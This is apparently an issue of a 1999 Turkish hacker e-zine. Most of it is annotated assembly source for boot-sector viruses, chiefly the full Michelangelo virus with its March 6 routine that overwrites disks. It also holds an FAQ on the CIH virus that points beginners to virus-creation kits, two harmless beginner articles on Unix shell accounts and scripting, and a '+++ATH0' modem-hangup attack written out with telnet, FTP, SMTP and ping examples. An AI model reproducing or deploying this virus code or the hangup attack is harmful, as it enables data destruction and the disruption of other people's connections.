Eveet, geldik virüsün bulaşma faslına. Yukarıda gördüğünüz gibi öncelikle Bx,Cx,Dx,Di,Si ve Es yazmaçları stacke yollanıyor.Si yazmacına 2 değeri konularak meydana gelebilecek bir hata durumunda okumaya okumanın yinelenmesi sağlanıyor.Okunacak olan 1.ci harddisk boot sektörü virüsün bellekte kendisine ayırdığı hafızanın hemen arkasına okunuyor.Eğer okuma denemesi başarısız olmuşsa tekrar okumaya çalışacak, 3.cü denemede de okunamamış ise virüs bulaşmaktan vazgeçecek.

Okundu:
mov si,Int13Bas
push cs
pop ds
mov ax,[si]
cmp ax,[si+0200h]
jz CikBulasmadan

Yukarıda ise virüs daha önce hard diske bulaşıp bulaşmadığını kontrol ediyor.Eğer virüsün segmenti içerisindeki Int13Bas adresindeki word ile bu adresin 200h byte ötesindeki word birbirine eşit ise virüs daha önce 1.ci hard diske bulaşmış demektir.

mov cx,003bh
mov di,0003
mov si,0203h
cld
rep movsb
mov di,01beh
mov cx,0042h
mov si,03beh
rep movsb
mov bx,0200h
mov ax,0301h
mov cx,0005h
mov dh,01h
cmp dl,0 ;
jz YazFloppy
xor dh,dh
YazFloppy:
pushf
call dword ptr cs:[kesme]
jb CikBulasmadan

Virüs, okunan disketin parametre tablosunu ve partition tablosunu kendi kodu üzerindeki alana kopyalıyor.Orjinal boot sektörden okunan bilgiler disketlerde Track:0, Head:1, Sector:5'e hard disklerde ise Track:0, Head:0, Sector:5'e kaydediliyor. Buraya yazılan sektör, virüsün hafızaya yüklenmesi sonrası işletim sistemini yüklemek için kullanılacak.

xor bx,bx
mov ax,0301h
xor dh,dh
mov cl,1
pushf
call dword ptr cs:[Kesme]
CikBulasmadan:
pop es si di dx cx bx
ret

Ve artık geriye kalan tek olay, virüs kodunu içeren yeni boot sektörün diske yazılması. Son olarak da yazmaçlar stackten geri alınıyor ve böylece bulaşmayı sağlayan parçanın işi bitiyor.

Kesme equ ($-Taban)
dd ?
mesaj equ ($-Taban)
db"DENEME (Eğitim) AMAÇLI VİRÜS..."
Boyu equ ($-Taban)
db (510-Boyu) dup (0)
db 55h,0aah
main endp
end main

Burası da virüsün kullandığı değişken alanı. Bu virüs burada bitti :)

Michelangelo

Michelangelo virüsü, aslında Stoned virüsünün bir varyantı.Michelangelo biraz tehlikeli bir virüs. 6-Martta bulaştığı sistemleri çökertiyor.İşte virüsün kodu..

michelangelo segment byte public
assume cs:michelangelo, ds:michelangelo
org 0

jmp entervirus

Buradan ENTERVIRUS etiketli alana gidi, okumaya oradan devam edin.

highmemjmp db 0F5h, 00h, 80h, 9Fh
maxhead db 2
firstsector dw 3
oldint13h dd 0C8000256h

int13h:
push ds
push ax
or dl, dl
jnz exitint13h

Virüsün kendi INT13 rutininde ilk önce aktif sürücü kontrol ediliyor.Eğer işlem yapılan sürücü aktif sürücü değilse virüsün birşey yapmasına gerek yoktur.Virüs kesilmeyi orjinal adresine yönlendirmelidir.

xor ax, ax
mov ds, ax
test byte ptr ds:[43fh], 1
jnz exitint13h

Burada ise aktif sürücünün dönüp dönmediği kontrol ediliyor.Eğer disk dönmüyorsa diğer bir deyişle disk ile ilgili bir işlem yapılmıyorsa virüsün yapması gereken birşey yok demektir. Ama disk dönüyorsa...

pop ax
pop ds
pushf
call dword ptr cs:[oldint13h]
pushf
call infectdisk
popf
retf 2

Önce yapılması istenen işlem yapılır.Böylelikle kullanıcının isteği gerçekleşir.Sonrasında ise diske bulaşılır.

exitint13h: pop ax
pop ds
jmp dword ptr cs:[oldint13h]

Bu kısımda kontrolün orjinal Int13'e yönlendirilmesini görüyorsunuz.

infectdisk:
push ax
push bx
push cx
push dx
push ds
push es
push si
push di
push cs
pop ds
push cs
pop es

Bu kısımda biraz duralım.Yeni Int13 rutini ancak bir program içerisinde INT 13 çağırılması ile etkin hale gelecektir.Mesela Int 13'ün 02 fonksiyonunu (oku) fonksiyonunu kullandık.Doğal olarak kesilme sonrası yazmaçlarda bazı değerler dönecektir.Virüs bulaşma işlemini aktif sürücüde yapılan okuma işlemlerinden sonra gerçekleştirdiği için kullanıcının istediği okuma sonrası dönen parametreler kaybolacaktır.İşte bu durumu engellemek için değeri değişebilecek olan bütün yazmaçların değerleri saklanmalıdır.Aksi halde virüs, doğru olarak yapılmış olan işleme rağmen hata mesajı dönmesine sebep olabilir.

mov si, 4
readbootblock:
mov ax,201h
mov bx,200h
mov cx,1
xor dx,dx
pushf
call oldint13h
jnc checkinfect
xor ax,ax
pushf
call oldint13h
dec si
jnz readbootblock
jmp short quitinfect

Boot bloğu virüsün ardındaki alana okundu.Eğer işlem başarıyla tamamlanmışsa sorun yoktur.Diske daha önce bulaşılıp bulaşılmadığı kontrol edilmelidir.Ancak okuma sonrası hata gösteriyorsa, disk resetlenmeli ve tekrar okunmaya çalışılmalıdır.Virüs hata durumunda okuma işlemini 4 kez tekrarlıyor.

checkinfect:
xor si,si
cld
lodsw
cmp ax,[bx]
jne infectitnow
lodsw
cmp ax,[bx+2]
je quitinfect

Yukarıda virüsün diske daha önce bulaşıp bulaşmadığı kontrol ediliyor. Daha önce bulaşılmış ise tekrar bulaşmaya gerek yoktur.

infectitnow:
mov ax,301h
mov dh,1
mov cl,3
cmp byte ptr [bx+15h],0FDh
je is360Kdisk
mov cl,0Eh
is360Kdisk:
mov firstsector,cx
pushf
call oldint13h
jc quitinfect

Eveet, geldik bulaşma kısmına.Öncelikle orjinal boot bloğunun güvenli bir alanda saklanması gerek.Virüs kendini belleğe yükledikten sonra lazım olan boot bloğunu buradan okuyacak.Aksi halde bilgisayarın açılması imkansız hale gelir.Virüs orjinal kaydı 360K (5.25") disketlerde Kafa 1, sektör 3'e yedekliyor.Tüm diğer disk tiplerinde ise Kafa 1, sektör 0E (14).Yazma işlemi sonucunda hata oluşursa bulaşmaktan vazgeçiyor.

mov si,200h+offset partitioninfo
mov di,offset partitioninfo
mov cx,21h
cld
rep movsw
mov ax,301h
xor bx,bx
mov cx,1
xor dx,dx
pushf
call oldint13h
quitinfect:
pop di
pop si
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
retn

Ve bölüm bilgisi kopyalanıp, virüs boot alanına yazılıyor.Yani virüs artık bulaştı...Daha önce stacke itilen yazmaçları geri alarak olayı biter..

entervirus:
xor ax,ax
mov ds,ax
cli
mov ss,ax
mov ax,7C00h
mov sp,ax
sti
push ds
push ax

Bir boot programı belleğe yüklendiği anda CS:IP ikilisi 0000:7C00 değerine eşittir. SS:SP ise tanımlanmamıştır.Virüs öncelikle SS:SP'yi tanımlamalıdır ki ihtiyaç duyacağı bu alanı kullanabilsin.

mov ax,ds:[13h*4]
mov word ptr ds:[7C00h+offset oldint13h],ax
mov ax,ds:[13h*4+2]
mov word ptr ds:[7C00h+offset oldint13h+2],ax
mov ax,ds:[413h]
dec ax
dec ax
mov ds:[413h],ax
mov cl,6
shl ax,cl
mov es,ax

Yukarıda Int 13h adresi öğrenilip virüs kodu üzerindeki alanda saklanıyor.0000:0413 adresinde bulunan Total_Memory değeri 2Kb azaltılıp sonra 0000:0413 adresine yazılıyor.Buradaki değer 64'e bölünerek ayırılan alanın başlangıç segementi elde ediliyor.(Bir sayının 6 ile SHiftLeft olayına tabi tutulması o sayının 2^6=64 ile çarpılması anlamına gelir) Elde edilen segment ES yazmacına veriliyor.Artık ES virüsün başlama segemntini göstermekte.

mov word ptr ds:[7C00h+2+offset highmemjmp],ax
mov ax,offset int13h
mov ds:[13h*4],ax
mov ds:[13h*4+2],es
mov cx,offset partitioninfo
mov si,7C00h
xor di,di
cld
rep movsb

Virüs yukarıdaki 'int13h' etiketli alanı yeni Interrupt handler olarak set ediyor ve orjinal bölümleme bilgisini geri yüklüyor.Bu bilgiler OS yüklemesi için gerekli.

jmp dword ptr cs:[7C00h+offset highmemjmp]
; Yukarıdaki JMP komutu ile yapılan sıçrama buraya denk geliyor
xor ax,ax
mov es,ax
int 13h

push cs
pop ds
mov ax,201h
mov bx,7C00h
mov cx,firstsector
cmp cx,7
jne floppyboot
mov dx,80h
int 13h
jmp short exitvirus
floppyboot:
mov cx,firstsector
mov dx,100h
int 13h
jc exitvirus

Diske daha önce yedeklenmiş olan boot kayıdı 0000:7C000 adresine okundu.Eğer bu bir floppy değilse o zaman ilk hard diskin eski bölümleme tablosu, yok eğer bir floppy ise boot bloğu okunacak.Okuma sırasında bir hata oluştuysa virüs akışı 'exitvirüs'ten devam edecek.

push cs
pop es
mov ax,201h
mov bx,200h
mov cx,1
mov dx,80h
int 13h
jc exitvirus

Hard diskin parametre tablosu okunuyor.Eğer sistemde bir hard disk yoksa o zaman yapacak birşey de yok..

xor si,si
cld
lodsw
cmp ax,[bx]
jne infectharddisk
lodsw
cmp ax,[bx+2]
jne infectharddisk

Hard diske daha önce virüsün bulaşıp bulaşmadığı kontrol ediliyor. Eğer hard disk virüslü ise virüs 'exitvirus' etiketine gitmelidir.Yok eğer disk temiz ise o zaman virüs diske bulaşmalıdır.

exitvirus:
xor cx,cx
mov ah,4
int 1Ah
cmp dx,306h
je damagestuff
retf

Gerçek zaman saati, tarih öğreniliyor.Günün tarihi eğer 6-Mart değilse virüs işini şimdilik bitirmiş demektir.0000:7C00 adresine giderek işletim sistemini yüklüyor.

damagestuff:
xor dx,dx
mov cx,1
smashanothersector:
mov ax,309h
mov si,firstsector
cmp si,3
je smashit
mov al,0Eh
cmp si,0Eh
je smashit
mov dl,80h
mov maxhead,4
mov al,11h
smashit:
mov bx,5000h
mov es,bx
int 13h
jnc skiponerror
xor ah,ah
int 13h
skiponerror:
inc dh
cmp dh,maxhead
jb smashanothersector
xor dh,dh
inc ch
jmp short smashanothersector

İşte yukarıdaki kod '6-Martta neler oluyor ?' sorusunun yanıtı...Disk 5000:5000 adresindeki rastgele geriyle doldurulmaya başlanıyor.

infectharddisk:
mov cx,7
mov firstsector,cx
mov ax,301h
mov dx,80h
int 13h
jc exitvirus

Orjinal bölümleme tablosu sektör 7'ye yedekleniyor.Buradaki bölümleme bilgisi kopyalanıp virüsün kopyası 8.ci sektörden 1.ci sektöre aktarılıyor.

mov si,200h+offset partitioninfo
mov di,offset partitioninfo
mov cx,21h
rep movsw
mov ax,301h
xor bx,bx
inc cl
int 13h
;* jmp short 01E0h
db 0EBh, 32h
; Aşağıdakiler hiçbir anlamı olmayan baytlardır
garbage db 1,4,11h,0,80h,0,5,5,32h,1,0,0,0,0,0,53h
partitioninfo: db 42h dup (0)
michelangelo ends
end

Bu aylık bu kadar.

Hazırlayan : DarkApocalypse
e-mail : darkapocalypse@trscene.org


 
E-MAiL İLE SORULAN BAZI SORULAR

Geçtiğimiz ayda bana e-mail ile gelen sorular arasında en çok Win.CiH virüsü ile ilgili sorular yeraldı. Bu soruları ve cevaplarını yazının sonunda bulabilirsiniz.

Win.CiH, 26 Nisanda aktifleşti bildiğiniz gibi. Bazı kullanıcılar resetlenen BIOS'larının, bazıları hard disklerini kurtarmaya çalıştılar izleyen günlerde. Artık çalışmayan 'geçici bir süre için hizmet dışı' bir bilgisayara sahip olanlar sıkça ayıp sözler söylediler..

Bu esnada kimileri resetlenen BIOS çipinin nasıl kurtarılacağını para karşılığı anlattı (!). Bilgisayar firmalarının teknik destek servisleri, 'çalışmayan' bilgisayarları koymak için yer bile bulamadılar (abarttım..). Bazı kullanıcılar, kafayı çalıştırıp 25 nisanda sistem tarihini 3-4 gün geriye aldılar, 27 nisanda sistem tarihini düzelttiler ve böylece tehlikeli dönemi atlattılar.

Olayın asıl ilginç olan tarafı; ertesi günlerde kulaktan kulağa dolaşan asılsız söylentilerdi. En sinirli olduğum anda bile beni güldürmeye yeten bu söylentilerden birkaçı: 'Çernobil 3 Mayısta cep telefonlarını bloke edecekmiş !', 'Abi internetten bulaşan yeni bir virüs varmış, telefonlar çok daha fazla yazıyormuş' , 'Abi bu çernobil virüsü sadece internete bağlananlara bulaşıyomuş' gibi saçma sapan söylentiler çıktı. Bunlar sadece benim kulağıma gelenlerin hatırladığım birkaçı.. Galiba Türk insanı pireyi deve olarak görmekten acaip bir haz alıyor ;)

Duyarlı medyamız sayesinde bilgisayar kullanan-kullanmayan herkes Win.CiH (meşhur Çernobil) hakkında birşeyler öğrendi.

Son 3-4 gündür de CIH'in geyiqleri yapılıyor :) Ne diyeyim neşemiz bol olsun :)

Uzun lafın kısası artık ülkemiz insanı bu virüsü tanıyor.


SORULAR & YANITLAR

Win.CiH (medyatik adıyla Çernobil) virüsü 26 Nisanda tetiklendi. Türkiye'deki pekçok bilgisayar bu virüsün kurbanı oldu. Virüsün etkilediği sistemler nasıl düzeltilebilir ?

Win.CiH virüsünün etkinleştiği sistemlerde virüs, hard diske ve flashBIOS'a zarar vermektedir (Bunu Win.CiH hakkında yazdığım yazıda belirtmiştim). FlashBIOS çipini resetlediğinden BIOS programı yok olmaktadır.Sonuçta, kullanıcı bilgisayarını bir daha açamaz :(

ÇÖZÜM: Win.CiH virüsünden etkilenen kullanıcıların yapabilecekleri 3 şey var.

1- BIOS çipini tekrar programlamak: Setup programı flash bios çipine tekrar yazıldığında sorun halledilir. Türkiye'de BIOS ciplerini programlayan yerler var mı, bu işi kaça yapıyorlar bu konuda bilgim yok.

2- BIOS çipini değiştirmek: Üretici firmaya bağlı olmasına rağmen fiyatları pek fazla olmayan BIOS cipini yenileyerek bilgisayarınızı tekrar açabilirsiniz.

3- Anakartı değiştirmek: En masraflı olan çözüm.Eğer sisteminizi zaten upgrade etmek gibi bir düşüncedeyseniz, virüs size bir bahane olur.Onun dışında BIOS çipi anakart üzerine lehimli olduğu durumlarda kaçınılmaz bir hal alır.

Virüs bilgisayarımı bozduktan sonra hard diskimi söktüm ve başka bir bilgisayara taktım. Nafile! Hard diskimde de sorun var.Şimdi ben tekrar fdisk mi yapmalıyım ?

Win.CiH virüsünün hard disklerde meydana getirdiği hasarı gidermek için disk kurtarma programları kullanın.Bu tür programlar sorunlu bir diskten mümkün olduğunca fazla veri kurtarmaya çalışırlar. En sonunda diskinizde hala sorun olduğunu düşünüyorsanız kurtarabildiğiniz verileri başka bir diske aktarın. Ondan sonra fdisk olayına girin. (Eğer bu işleri, dikkatli bir şekilde yaparsanız fdiske falan gerek kalmaz)

Yeni başlayanlar nasıl virüs hazırlayabilirler ? Bu işi yapan programlar var mı ? Varsa nereden bulunur ve nasıl kullanılır ?

Virüs yazmanın yolu sistemi bilmekten , sisteme giden en kısa yol da assembly bilmekten geçer. Yani virüs yazmak için assembly bilmek gerekir ve virüslerin yazılmasında assembly tercih edilen dildir. (Bakınız: Turkish Scene Sayı-1 ; Virüsler). (C veya pascal ile yazılan virüsler de olmasına karşın bu dillerle yazılan virüsler yeterince esnek değildir). Bu arada bahsettiğim virüsler makro virüsleri değil, bunu da belirteyim.

Gelelim esas soruya; yeni başlayanlar, virüs yazmak istiyeyenler için VCL (Virus creation library), MTE (MutanT Engine) türünden virüs hazırlayan programlar mevcut. Ancak bu tür programlarla hazırlanan virüsler genelde buglarla dolu olurlar. Çoğu zaman çalışmazlar bile...

Virüs hazırlamaya yönelik bazı programlar www.trscene.org domainine geçmeden önceki adresimiz olan www.televole.com/projman adresinde, Projman'ın Bilgi Bankasında mevcuttu. Geçtiğimiz günlerde bazı sorunlar nedeniyle Projman'ın Bilgi Bankası kapandı. Şu anda nereden bulunabilir ben de bilmiyorum. İllaki bu programları istiyorsanız arama motorlarını deneyin. Programın kullanılmasını ise deneme yanılma metoduyla kendiniz bulacaksınız.

Hazırlayan : DarkApocalypse
e-mail: darkapocalypse@trscene.org


 
SHELL ACCOUNT :

SAYFADA YAZILAN HER SEY HELLRAZOR A AITTIR LTF YAZILARI DEGISTIRMEYINIZ
-----------------------------------------------------------------------
''BOLUMLER''
1- SHELL ACC NEDIR?
2- BENİM ISP IM SHELL ACC VERIYOR MU?
3- SHELL ACC KONTROLU
4- SHELL INIZIN TIPI
5- SHELL TIPLERI
6- SHELL ACC VEREN BEDAVA VE PARALI YERLER -YERLI YABANCI
7- SHELL SINIFLANDIRILMASI
8- SON OLARAK SHELL
-----------------------------------------------------------------------

1 SHELL ACCOUNT NEDIR???

SHELL ACC GENEL ANLAMINDA EVINIZDEKI BILGISAYARDA UNIX KOMANDLARINI
KULLANMANIZI SAGLAR .BU SAYADE UNIX KURULU BIR SISTEMDE CALISMIYOR
SANIZ YA DA DAHA ONCE HIÇ UNIX KULLANMAMISSANIZ ALICAGINIZ ACC ILE
WIN UZERINDEN UNIX KULLANMA FIRSATI YARATICAKSINIZ...

*NOT:ELLE DERGISININ İLK SAYISINDA HACKERLARLA ILGILI BIR YAZI OLDUGUNU
OGRENDIM.DERGIDE TAKMA ISMINI BILE VERMEK ISTEMIYEN BU ARKADASIN
SOYLEMIS OLDUGU KONUMUZLA ILGISI OLAN SEYI AYNEN YAZIYORUM
-----------------------------------------------------------------
ELLE:Turkıyede hack ve crack olayları ıle ugrasan ınsanlar varmı?

DATCRACK:Cok var hackıng ınsanların ılgısını cekıyor.Sırf hackıng
yapabılmek ıcın evınde wındows sıstemınden UNIX sıstemıne gecıyor
-----------------------------------------------------------------
SIMDI BURADA NE VAR??

BU CUMLEYE DIKKAT!'evınde wındows sıstemınden UNIX sıstemıne gecıyor'

UNIX SISTEMI ÇOK KUVETTLI KONFIGURASYON ISTEYEN BIR SISTEMDIR
AYRICA EV KULLANICILARI ICIN COK PAHALI BIR SISTEMDIR


ARTIK SHELL IN NE OLDUGUNU VE NEYE YARADIGINI ANLADINIZ

///////////////////////////////////////////////////////////////////////
2- BENIM ISP IM SHELL ACC VERIYORMU?

BU KONUDA TURKIYEDE ARAMADIGIM ISP KALMADI.ARADIKLARIMIN %80 NE OLDU
GUNU BILMEDIKLERINI %20 SI ISE VERMEDIKLERINI SOYLEDI
BILENLERDEN 2 TANESI BENIM NEDEN SHELL ACC ISTEDIGIMI NE ISLE UGRASTIGI
MI FILAN SORDU :)) TAVSIYE HICBIRINI ARAMAYIN
AMA YINEDE SHELL ACC KONTROLU YAPALIM

///////////////////////////////////////////////////////////////////////

3- SHELL ACC KONTROLU

SISTEMIMIZDE BIR ACC VARMI? BUNUN CEVABINI ANCAK KONTROLEDEREK SOYLERIZ
ADINI VERMIYECEGIM BIR ISS (YERLI) 2 SENE ONCEKADAR SHELL ACC VERIYORDU
TABI UYELERI BU GUNE KADAR KONTROL ETMEDIGI ICIN HIC KIMSE FARKINA
VARMADI

KESINLIKLE ISS IN SIZE SHELL VERICEGINI SANMAYIN NORMALDE SIZIN ONU ACTIR
MANIZ LAZIM O DA 10 $ CIVARINDA OLMALI(TABI ARTIK ISS LER SHELL VERMIYOR)

SISTEMDEKI SHELL KONTROLU ICIN
WIN ICINDE BULUNAN TELNET I ACIN , NASIL MI?

BASLAT(START) MENUSU BUL(FIND) DOSYALAR VE KLASORLER E GELIN SABIT
DISKTE TELNET DIYE ARATIN

1 ADIM TELNETI ACIN UC BIRIM YADA TERMINAL OZELLIKLERINDEN YAZI TIPINI
BIRAZ KUCULTUN

2 ADIM BAGLAN SONRADA UZAKTAKI SISTEM YA DA CONNECT VE REMOTE SISTEM E BASIN

3 KARSINIZA BI KUTU CIKACAK
HOST NAME:BU KISMA ISSIN SIZE VERDIGI EMAIL ADRESININ (ABUZER@XXX.COM)
XXX.COM OLAN BOLUMUNU YAZIN
BAGLANTI NOKTASI YA DA PORT DA TELNET KALSIN
UCBIRIMTURU DE VT100 OLUCAK


BUNDAN SONRA CONNECT E BASIN EGER KARSINIZA BIR MENU CIKARSA LOGIN
FILAN SORARSA BU SHELLINIZ VAR DEMEKTIR

///////////////////////////////////////////////////////////////////////

4-SHELL ACC ININ TIPI

SHELL INIZIN NASIL OLDUGUNU BU KOMMANDI “ls
-alF” VERIP ANLIYACAGIZ

ls -alF
total 37
drwx--x--x 5 galfina user
1024 Apr 18 11:35 ./
drwxr-xr-x 380 root wheel 6656 Apr 18 18
:15 ../
-rw-r--r-- 1 galfina user 2793 Apr 18 11:16
BU GİBİ YAZILAR CIKARSA SIZIN SHELLINIZ GERCEKDEN II BIR SHELL DEMEKTIR

///////////////////////////////////////////////////////////////////////

5-DEGISIK SHELL ACC TIPLERI

ARTIK SHELL INIZI 1s -alF YI KULLANARAK ELINIZDE NE OLDUGUNU ANLADINIZ
SIMDI VERICEGINIZ KOMMAND ISE “echo $SHELL”(AYNISINI YAZIN)SIZE NE TUR
SHELLINIZ OLDUGUNU SOYLEYECEKTIR HER SHELLIN FARKLI AMACLARI VE KULLAN
IM YERLERI VARDIR.

“echo $SHELL” DEN SONRA CIKAN YAZILARDA :

/bin/bash İSE BASH shell INIZ VARDIR
/bin/sh İSE bourne shell INIZ VARDIR
/bin/ksh İSE KORN shell INIZ VARDIR
/bin/csh İSE C SHELL INIZ VARDIR
/bin/tcsh İSE TCSH SHELL INIZ VARDIR
/bin/zsh İSE Zsh SHELL INIZ VARDIR

YENI BASLAYANLAR ICIN BASH ILERISI ICIN C ONERILIR

*NOT echo $SHELL OLAMAZSA echo $shell İ DENEYİN

//////////////////////////////////////////////////////////////////////

6-SHELL ACC VEREN YERLI VE YABANCI YERLER

BEDAVA SHELL ACC KIMSE VERMEZ ANCAK DENEMELIK BIR SURE ICIN ALABILIRSINIZ
TABI PARA ILE SATAN YERLERDE VAR.....

TURKIYEDE 1 TEK BULABILDIGIM www:pentagraph.net ADRESİ 10 $A AÇILIS
10$ A 1 AYLIK SHELL VERIYORLAR VERDIKLERI SHELL TIPLERINI ORADAN
OGRENEBILIRSINIZ

YABANCI SITELER(BEDAVA)

www.unıxnet.org
www.freeshells.net
www.vexatıon.org
www.nyx.net

bu adreslerden www.nyx.net SIZI HEMEN SISTEME
BAGLIYORLAR ADRESLERI
BROWSER INIZA BU ADRESI YAZIN

telnet:/nyx.net/



////////////////////////////////////////////////////////////////////
7- SHELL LERIN SINIFLANDIRILMASI

SHELL
/ \
/ \
/ \
BOURNE C
/ | | \ / \
SH KSH Zsh BASH CSH TCSH

YUKARDAKI SINIFLANDIRILMADAN SONRA YAZACAGIMIZ SHELL SCRIPT ILE BOURNE
SHELLERI ,C SHELL ICIN YAZACAGIMIZ SCRIPT ILE DE C SHELL CALISTIRILIR

*NOT: IKI FARKLI SHELL SCRIPT I BIRBIRINE EKLEMEK
BOURNE SHELL LERI ''.'' KOMANDINI KULLANARAK
C SHELLERI ''source'' DIYE KULLANILARAK YAPILABILIR.......

///////////////////////////////////////////////////////////////////////

8 SHELLER ILE SON OLARAK

SANIRIM KAFANIZI KURCALIYAN BU SHELL KONUSU ARTIK SIZE DAHA KOLAY
GELMEKTEDIR.EGER SHELL E PARA VERMEK ISTEMIYORSANIZ DEDIGIM BEDAVA
ADRESLERDEN SHELL ALABILIRSINIZ

**BEDAVA SHELL ALDIGINDA YAPMANIZ GEREKENLER
LOGIN VE PASSWORD U NUZU KIMSEYE VERMEYIN
SİSTEMI IYICE ANLAMADAN HACK OLAYLARINA BASLAMAYIN
SISTEM YAVASLARSA PANIK YAPMAYIN
YAZDIKLARINIZA DIKKAT EDIN KULLANDIGINIZ BIR UNIX SISTEMI DOS
A BENZEMEZ

///////////////////////////////////////////////////////////////////////


*****************************************************
BU SAYFADAKI YAZILARIN HEPSI ''HELLRAZOR'' A AITTIR
INTERNET SAYFASI: http://mekan.web1000.com
http://cinnet.cjb.net
9.5.1999
*****************************************************


Hazırlayan : HellRazoR
berksz@yahoo.com


 
SHELL ACCOUNT  2 :

SHELL ACC ILE ILGILI ILKYAZIMDAN SONRA SIMDIDE SHELLSCRİPT ANLATACAGIM


-----------------------------------------------------------------------
''BOLUMLER''

1-SHELL PROGRAMMING NEDIR?
2-SHELL SCRİPT YAZMAK
3-PICO ILE ILGILI ONEMLI NOKTALAR
4-SHELL SCRİPT İ KULLANMAK

-----------------------------------------------------------------------

///////////////////////////////////////////////////////////////////////
1 SHELL PROGRAMMING NEDIR?

SHELL PROGRAMMING YAPTIGINIZ DOSYA ILE COK KOLAY BIR SEKILDE COK UGRAS
MADAN SHELL INIZI CALISTIRMANIZI SAGLAR

SHELL PROGRAMMING IN COK CESIDI VARDIR BURADA SIZE SCRIPT I ANLATACAGIM


///////////////////////////////////////////////////////////////////////

2 SHELL SCRIPT YAZMAK

SHELL SCRIPT:BIR ANLAMDA UNIX KOMUTLARININ TOPLANIP DOSYA HALINE GETIRILIP
KOLAYCA CALISTIRILMASIDIR

SHELL SCRIPT YAZMAK ICIN YAZACAGIMIZ COMPOSER -EDITOR PROGRAM KULLANICAGIZ
BU DA ''pico dosya'' YAZARAK CIKAR

NOT:
A- EDITOR OLARAK ILLA PİCO KULLANMANIZA GEREK YOKTUR AMA YENI KULLANANLARA
PICO YU ONERIRIM

B-DOSYA SIZIN SCRIPT INIZ OLACAK ONUN ICIN ISTEDIGINIZ ADI VEREBILIRSINIZ

C-EGER EDITOR UNUZ PINE ISE MENUDEN AYARLARDAN PICO YAPABILIRSINIZ

///////////////////////////////////////////////////////////////////////////

3 PICO

PICO KENDI ALTINDA MENUSU OLAN BIR EDITORDUR .ALTTAKI KOMUTLAR ^X ^Q GİBİ
KOMUTLAR ICERIR ^ ISARETINDEN DOLAYI ISTEDIGINIZ HALFTEN ONCE ctrl TUSUNA
BASMANIZ GEREKMEKTEDIR.

^d SILMEYE YARAR
^e SATIR SONU YAPAR
^a SATIR BASI YAPAR
^p YUKARI
^n ASSAGI YAPMANIZA YARAR....

///////////////////////////////////////////////////////////////////////

SIMDI YAZMAYA DEVAM EDELIM

BILDIGIMIZ UNIX KOMUTLARINI KULLANARAK

echo slm ben HeLLRazoR

echo $1 $2 $3 $4 $5 $6 $7 $8 $9

GIBI VE BUNDAN SONRA PICO MENUSUNDE X IN CIKIS OLDUGUNU GORUYORSUNUZ VE
ctrl+x I KULLANARAK CIKIYORUZ
BIZE KAYDEDELIMMI ABI ? DIYE SORUYOR BIZDE Y DIYEREK KAYDET BAKALIM
DIYORUZ

VE SIMDI ISIN EN ZOR BOLUMUNE GELIYORUZ YAPTIGIMIZI
DOSYAMIZI EXECUTABLE YAPMAK BIZIM DOSYAMIZIN BASKALARI TARAFINDAN
OKUNMAMASINI,KULLANILMAMASINI SAGLIYACAK

SISTEMDE ''man chmod'' YAZARAK SISTEMDE CIKAN YAZILARIN NE ISE YARA
DIGINI OGRENIN

EXECUTABLE YAPMAK ICIN SU NU YAZIN ( YANLIZ HER SISTEMDE TUTMAZ)

"chmod 700 dosya."

VE BUNDAN SONRA DOSYA EXECUTABLE
_______________________________________________________________________
******YUKARIYI IYI ANLADIYSANIZ SIMDI SHELL IMIZI T SHELL (tcsh) E
GECIRECEGIZ
NEDEN T SHELL?
CUNKU T SHELL KULLANIMI EN KOLAY VE ISLEVI EN FAZLA OLAN SHELL DIR
MESELA DELETE YAPARKEN BUNU FARKEDICEKSINIZ

SONRA SHELL IMIZI tcsh YAPALIM
BUNU SISTEMDEKI SHELL LERI LISTELIYEREK BALKALIM

cat shell ve ya cat shells dıye yazarsak

/bın/ashell
/bın/bshell
/bın/cshell DIYE SHELLER CIKAR (A B C DIYE CIKAMAZ GERCEK ADLARI CIKAR)

BURADA EGER tcsh GORUYORSANIZ T SHELLINIZ OLABILIR

BUNUN ICIN

chsh tcsh KOMUTUNU YAZIN BU SIZIN SHELLINIZI T YAPAR

*******SHELLINIZDE DEGISIKLIK YAPMAK ICIN
T DEKI DEGSIKLIKLER
.cshrc DOSYASINDA TOPLANIR(GENELLIKLE) BU ISTE SIZIN SHELL SCRIPTINIZ
*******SIFRE DEGISTIRMEK ICIN
passwd KOMUTUNU KULLANIRIZ


KOLAY GELSIN.....

 

Hazırlayan : HellRazoR
berksz@yahoo.com


 
Bu, aslinda eski bi hikayedir...fakat hala ya$Iyor ;)

Piyasadaki bir cok modem Hayes Komut Seti (ATZ, ATDT, ATH0..) kullanirlar.
Maalesef ki(?) bu tip modemler bazi ozel stringlerin i$lenmesine de izin verirler.
Ornegin  "+++ATH0" ifadesi, modeme kullanicinin manuel olarak komut girdigini(girecegini) belirtir. Bunu kullandiginiz anda modem 'ready' durumuna gecer.
yani resetlenir,sizi bekler sessiz sessiz. internet dial-up baglantiniz kopmu$tur. i$te hikayenin ozu bu.

Bu attacktan tum modemler etkilenmez.
Ornegin U.S. Robotics, 33.6 'ler yemezler.
(+++'dan hemen sonra bir anlik(=1 saniye) pause gerceklestirdiklerinden dolayi ATH0 devreye giremez)

Eger kendi modeminiz de bundan etkileniosa o zaman attack yapinca buyuk bir olasilikla sizin hattiniz hemen kopacaktir .
PPP, IP datagramI default olarak sIkI$tIrmadan gonderir o yuzden o stringi sizin modem elinden gecirir gecirmez aynen
okuyacagindan hat kesilme durumu gercekle$ir;)

Tipik attack ornekleri:

1) 21 portuna telnet ile:
elusive# telnet 199.99.99.99  21
Trying 199.99.99.99...
Connected to 192.168.1.1.
Escape character is '^]'.
220 abc FTP server (Version .............](1) Fri Apr 9
23:41:
USER +++ATH0
^]
telnet> close
Connection closed.
elusive# telnet 192.168.1.1 21
Trying 199.99.99.99...
telnet: Unable to connect to remote host: Network is unreachable
elusive#
 

2) sendmaile telnet ile baglan (qmail olunca olmuo) ve "HELO orasi.com" de orasi neresiyse gorcen baglaninca welcome vs diycek..
    sonra:  VRFY  +++ATH0
    sana normal olarak $oyle dese de dial-up modem buyuk bir olasilikla koptu:
    550 +++ATH0

3) ftp'ye baglan. USER  +++ATH0  kullan.Sana diycek ki:
    331 Password required for +++ATH0
    dese de iptal  buyuk bi olasilikla(dial-up baglantisi oldugunu varsayiyoz tabe).

4) IRC'deki karsinizdakine  bi  ICMP ECHO_REQUEST  paketi gonderirseniz ki bu paket +++ATH0  icermeli,
ondan gelecek ICMP ECHO_RESPONSE paketi gonderdiginiz paket iceriginin aynisina sahip olacagindan karsidakine +++ATH0
